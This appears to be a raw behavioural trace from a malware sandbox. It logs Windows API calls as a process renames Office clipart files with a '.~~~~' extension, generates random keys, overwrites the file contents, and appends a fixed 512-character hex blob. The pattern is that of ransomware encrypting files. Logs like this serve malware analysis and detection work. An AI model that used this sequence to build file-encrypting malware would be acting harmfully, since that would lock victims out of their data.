	[0116.785] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02024_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02024_.wmf.~~~~")) returned 1
	[0116.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.786] GetLastError () returned 0x0
	[0116.787] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.788] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.788] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.789] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23677870750) returned 1
	[0116.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf18bc90, dwHighDateTime=0x1d60e1e)) 
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8848
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8848 | out: hHeap=0x300000) returned 1
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b17d8
	[0116.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.789] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.790] GetLastError () returned 0x0
	[0116.854] GetLastError () returned 0x0
	[0116.854] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.854] GetLastError () returned 0x0
	[0116.854] GetLastError () returned 0x0
	[0116.873] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdfea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.873] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2016, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x2016, lpOverlapped=0x0) returned 1
	[0116.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.875] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.875] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.884] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.884] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.884] CloseHandle (hObject=0x140) returned 1
	[0116.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.884] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02025_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02025_.wmf.~~~~")) returned 1
	[0116.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.886] GetLastError () returned 0x0
	[0116.886] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.888] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.888] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.888] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23687835764) returned 1
	[0116.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf296630, dwHighDateTime=0x1d60e1e)) 
	[0116.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8a40
	[0116.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8a40 | out: hHeap=0x300000) returned 1
	[0116.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.889] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1870
	[0116.889] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.889] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.889] GetLastError () returned 0x0
	[0116.890] GetLastError () returned 0x0
	[0116.890] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.890] GetLastError () returned 0x0
	[0116.890] GetLastError () returned 0x0
	[0116.901] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffac0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.902] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x540, lpOverlapped=0x0) returned 1
	[0116.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.903] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.903] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.903] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.903] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.903] CloseHandle (hObject=0x140) returned 1
	[0116.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.904] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.~~~~")) returned 1
	[0116.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.905] GetLastError () returned 0x0
	[0116.906] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.907] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.907] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.907] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23689724824) returned 1
	[0116.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf2bc790, dwHighDateTime=0x1d60e1e)) 
	[0116.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8ab0
	[0116.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8ab0 | out: hHeap=0x300000) returned 1
	[0116.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1dc8
	[0116.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.908] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.908] GetLastError () returned 0x0
	[0116.908] GetLastError () returned 0x0
	[0116.908] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.908] GetLastError () returned 0x0
	[0116.909] GetLastError () returned 0x0
	[0116.971] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff700, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.972] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x900, lpOverlapped=0x0) returned 1
	[0116.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.983] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.983] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.983] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.983] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.983] CloseHandle (hObject=0x140) returned 1
	[0116.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.~~~~")) returned 1
	[0116.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.985] GetLastError () returned 0x0
	[0116.985] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.986] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.986] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.987] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23697676143) returned 1
	[0116.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf37ae70, dwHighDateTime=0x1d60e1e)) 
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cae8
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1ef8
	[0116.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.987] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.988] GetLastError () returned 0x0
	[0116.988] GetLastError () returned 0x0
	[0116.988] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.988] GetLastError () returned 0x0
	[0116.988] GetLastError () returned 0x0
	[0116.990] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff56c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.991] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xa94, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xa94, lpOverlapped=0x0) returned 1
	[0116.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.991] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.992] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.992] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.992] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.992] CloseHandle (hObject=0x140) returned 1
	[0116.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.992] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.~~~~")) returned 1
	[0116.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.994] GetLastError () returned 0x0
	[0116.994] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.995] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.995] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.996] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23698593107) returned 1
	[0116.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf3a0fd0, dwHighDateTime=0x1d60e1e)) 
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8b90
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8b90 | out: hHeap=0x300000) returned 1
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0116.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.997] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.997] GetLastError () returned 0x0
	[0116.998] GetLastError () returned 0x0
	[0116.998] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.998] GetLastError () returned 0x0
	[0116.998] GetLastError () returned 0x0
	[0117.000] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.000] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x38c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x38c, lpOverlapped=0x0) returned 1
	[0117.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0117.001] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.001] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.001] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
